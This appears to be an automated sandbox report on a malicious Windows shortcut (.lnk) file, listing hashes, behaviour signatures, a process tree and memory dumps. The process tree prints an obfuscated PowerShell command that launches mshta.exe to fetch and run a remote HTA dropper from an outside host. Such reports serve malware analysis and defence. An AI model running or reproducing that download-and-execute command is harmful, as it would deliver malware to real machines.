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Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2023, 12:11

General

  • Target

    4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk

  • Size

    523KB

  • MD5

    199a9ff6c65f14f7ab95639c1c7106fd

  • SHA1

    548873399f86d22f90118199fdc20e084c4c2258

  • SHA256

    4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03

  • SHA512

    e145b4d06e2c6ec3f82686c495eaab917f0525fbff85961247b6fe0be5cc773e6d86aa84da03df7f9a6a5f304bd37398e659b1676626489a2569abfb20970a31

  • SSDEEP

    12:8hlKm/VnEXvk44X3ojsqzKtnWNt2eUcCsvXemCKeX5yXOlL6EWKDiNL4t2YlJZa:8hptnHYVKVWue/CWOmC7JLha5+

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://cw95649.tw1.ru/spHTA.hta

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://cw95649.tw1.ru/spHTA.hta'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" http://cw95649.tw1.ru/spHTA.hta
        3⤵
        • Blocklisted process makes network request
        PID:2948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1dreldj.ocs.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3916-2-0x00000199C8560000-0x00000199C8582000-memory.dmp

    Filesize

    136KB

  • memory/3916-12-0x00007FFE7E910000-0x00007FFE7F3D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3916-13-0x00000199C85B0000-0x00000199C85C0000-memory.dmp

    Filesize

    64KB

  • memory/3916-14-0x00000199C85B0000-0x00000199C85C0000-memory.dmp

    Filesize

    64KB

  • memory/3916-15-0x00000199C85B0000-0x00000199C85C0000-memory.dmp

    Filesize

    64KB

  • memory/3916-18-0x00007FFE7E910000-0x00007FFE7F3D1000-memory.dmp

    Filesize

    10.8MB